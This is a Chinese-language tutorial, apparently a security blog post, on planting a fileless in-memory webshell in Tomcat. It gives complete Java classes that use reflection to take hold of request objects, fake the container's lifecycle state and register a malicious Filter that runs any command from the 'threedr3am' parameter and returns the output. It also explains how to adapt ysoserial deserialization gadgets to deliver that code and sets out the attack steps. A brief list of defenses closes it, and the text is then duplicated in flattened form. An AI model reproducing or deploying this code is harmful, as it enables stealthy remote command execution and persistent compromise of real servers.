基于tomcat的内存 Webshell 无文件攻击技术
字数 1535 2025-08-20 18:17:31

基于Tomcat的内存Webshell无文件攻击技术详解

0x00 技术背景

内存Webshell是一种驻留在服务器内存中的恶意程序,不写入磁盘文件,具有隐蔽性强、难以检测的特点。本文介绍的技术针对Tomcat容器,通过动态注册Filter实现无文件攻击,具有以下特点:

  1. 完全内存驻留,不落地文件
  2. 适用于Tomcat容器,不依赖特定Web框架
  3. 可绕过Shiro等安全框架的防护
  4. 支持命令执行回显

0x01 技术原理

1.1 获取Request和Response对象

Tomcat处理HTTP请求时,会经过以下关键调用栈:

org.apache.catalina.core.ApplicationFilterChain.internalDoFilter
org.apache.catalina.core.ApplicationFilterChain.doFilter
org.apache.catalina.core.StandardWrapperValve.invoke
...

关键点在于ApplicationFilterChain类的internalDoFilter方法:

if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
    lastServicedRequest.set(request);
    lastServicedResponse.set(response);
}

通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true,并初始化lastServicedRequestlastServicedResponse这两个ThreadLocal变量,可以在后续请求中获取Request和Response对象。

1.2 动态注册Filter

传统方法直接通过ServletContext添加Filter会遇到问题,因为Tomcat运行时状态为STARTED,不允许动态添加Filter。解决方案:

  1. 通过反射修改StandardContext状态为STARTING_PREP
  2. 添加自定义Filter
  3. 恢复StandardContext状态为STARTED
  4. 确保Filter在FilterChain的最前面执行

0x02 实现步骤

2.1 准备工作

创建两个关键类:

  1. TomcatEchoInject - 用于初始化ThreadLocal变量
  2. TomcatShellInject - 实现Filter接口的内存Webshell

2.2 TomcatEchoInject类

public class TomcatEchoInject extends AbstractTranslet {
    static {
        try {
            // 修改WRAP_SAME_OBJECT为true
            Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
            Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
            // 反射修改final字段
            Field modifiersField = f.getClass().getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
            f.setAccessible(true);
            if (!f.getBoolean(null)) {
                f.setBoolean(null, true);
            }
            
            // 初始化lastServicedRequest
            c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
            f = c.getDeclaredField("lastServicedRequest");
            // 同上反射修改
            f.setAccessible(true);
            if (f.get(null) == null) {
                f.set(null, new ThreadLocal());
            }
            
            // 初始化lastServicedResponse
            f = c.getDeclaredField("lastServicedResponse");
            // 同上反射修改
            f.setAccessible(true);
            if (f.get(null) == null) {
                f.set(null, new ThreadLocal());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    // ... 省略其他方法
}

2.3 TomcatShellInject类

public class TomcatShellInject extends AbstractTranslet implements Filter {
    static {
        try {
            // 获取Request对象
            Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            f.setAccessible(true);
            ThreadLocal t = (ThreadLocal)f.get(null);
            ServletRequest servletRequest = (ServletRequest)t.get();
            
            if (servletRequest != null) {
                ServletContext servletContext = servletRequest.getServletContext();
                StandardContext standardContext = null;
                
                // 获取StandardContext
                for (; standardContext == null; ) {
                    Field contextField = servletContext.getClass().getDeclaredField("context");
                    contextField.setAccessible(true);
                    Object o = contextField.get(servletContext);
                    if (o instanceof ServletContext) {
                        servletContext = (ServletContext)o;
                    } else if (o instanceof StandardContext) {
                        standardContext = (StandardContext)o;
                    }
                }
                
                if (standardContext != null) {
                    // 修改状态以允许添加Filter
                    Field stateField = LifecycleBase.class.getDeclaredField("state");
                    stateField.setAccessible(true);
                    stateField.set(standardContext, LifecycleState.STARTING_PREP);
                    
                    // 添加自定义Filter
                    Filter threedr3am = new TomcatShellInject();
                    FilterRegistration.Dynamic filterRegistration = 
                        servletContext.addFilter("threedr3am", threedr3am);
                    filterRegistration.setInitParameter("encoding", "utf-8");
                    filterRegistration.setAsyncSupported(false);
                    filterRegistration.addMappingForUrlPatterns(
                        EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
                    
                    // 恢复状态
                    stateField.set(standardContext, LifecycleState.STARTED);
                    
                    // 使Filter生效
                    Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);
                    
                    // 将Filter移到第一位
                    FilterMap[] filterMaps = standardContext.findFilterMaps();
                    for (int i = 0; i < filterMaps.length; i++) {
                        if (filterMaps[i].getFilterName().equalsIgnoreCase("threedr3am")) {
                            FilterMap filterMap = filterMaps[i];
                            filterMaps[i] = filterMaps[0];
                            filterMaps[0] = filterMap;
                            break;
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
            FilterChain filterChain) throws IOException, ServletException {
        String cmd;
        if ((cmd = servletRequest.getParameter("threedr3am")) != null) {
            // 执行命令并回显
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
    // ... 省略其他方法
}

2.4 生成Payload

修改ysoserial工具,创建专门的Payload生成类:

  1. CommonsCollections11ForTomcatEchoInject - 用于初始化ThreadLocal
  2. CommonsCollections11ForTomcatShellInject - 用于注入内存Webshell

关键修改点:

// 原代码
final Object templates = Gadgets.createTemplatesImpl(command[0]);

// 修改为
final Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);
// 或
final Object templates = Gadgets.createTemplatesImpl(null, TomcatShellInject.class);

0x03 攻击流程

  1. 第一步:使用CommonsCollections11ForTomcatEchoInject生成Payload,发送到目标服务器,初始化ThreadLocal变量
  2. 第二步:使用CommonsCollections11ForTomcatShellInject生成Payload,发送到目标服务器,注入内存Webshell
  3. 使用Webshell:访问任意URL,添加参数?threedr3am=command执行系统命令并获取回显

0x04 防御措施

  1. 禁用危险的序列化功能:关闭不必要的反序列化入口
  2. 升级依赖库:使用最新版本的commons-collections等库
  3. 运行时防护:使用RASP等工具监控可疑的反射操作
  4. Filter白名单:限制动态注册Filter的能力
  5. 状态监控:检测Tomcat状态的异常修改

0x05 技术总结

本技术通过以下关键点实现了Tomcat下的内存Webshell:

  1. 利用反射修改Tomcat内部变量,获取Request/Response对象
  2. 通过状态欺骗实现运行时动态注册Filter
  3. 调整Filter执行顺序确保优先执行
  4. 结合反序列化漏洞实现无文件攻击

这种攻击方式隐蔽性强,防御难度大,需要从多个层面进行防护。

基于Tomcat的内存Webshell无文件攻击技术详解 0x00 技术背景 内存Webshell是一种驻留在服务器内存中的恶意程序,不写入磁盘文件,具有隐蔽性强、难以检测的特点。本文介绍的技术针对Tomcat容器,通过动态注册Filter实现无文件攻击,具有以下特点: 完全内存驻留,不落地文件 适用于Tomcat容器,不依赖特定Web框架 可绕过Shiro等安全框架的防护 支持命令执行回显 0x01 技术原理 1.1 获取Request和Response对象 Tomcat处理HTTP请求时,会经过以下关键调用栈: 关键点在于 ApplicationFilterChain 类的 internalDoFilter 方法: 通过反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT 为true,并初始化 lastServicedRequest 和 lastServicedResponse 这两个ThreadLocal变量,可以在后续请求中获取Request和Response对象。 1.2 动态注册Filter 传统方法直接通过ServletContext添加Filter会遇到问题,因为Tomcat运行时状态为 STARTED ,不允许动态添加Filter。解决方案: 通过反射修改StandardContext状态为 STARTING_PREP 添加自定义Filter 恢复StandardContext状态为 STARTED 确保Filter在FilterChain的最前面执行 0x02 实现步骤 2.1 准备工作 创建两个关键类: TomcatEchoInject - 用于初始化ThreadLocal变量 TomcatShellInject - 实现Filter接口的内存Webshell 2.2 TomcatEchoInject类 2.3 TomcatShellInject类 2.4 生成Payload 修改ysoserial工具,创建专门的Payload生成类: CommonsCollections11ForTomcatEchoInject - 用于初始化ThreadLocal CommonsCollections11ForTomcatShellInject - 用于注入内存Webshell 关键修改点: 0x03 攻击流程 第一步 :使用 CommonsCollections11ForTomcatEchoInject 生成Payload,发送到目标服务器,初始化ThreadLocal变量 第二步 :使用 CommonsCollections11ForTomcatShellInject 生成Payload,发送到目标服务器,注入内存Webshell 使用Webshell :访问任意URL,添加参数 ?threedr3am=command 执行系统命令并获取回显 0x04 防御措施 禁用危险的序列化功能 :关闭不必要的反序列化入口 升级依赖库 :使用最新版本的commons-collections等库 运行时防护 :使用RASP等工具监控可疑的反射操作 Filter白名单 :限制动态注册Filter的能力 状态监控 :检测Tomcat状态的异常修改 0x05 技术总结 本技术通过以下关键点实现了Tomcat下的内存Webshell: 利用反射修改Tomcat内部变量,获取Request/Response对象 通过状态欺骗实现运行时动态注册Filter 调整Filter执行顺序确保优先执行 结合反序列化漏洞实现无文件攻击 这种攻击方式隐蔽性强,防御难度大,需要从多个层面进行防护。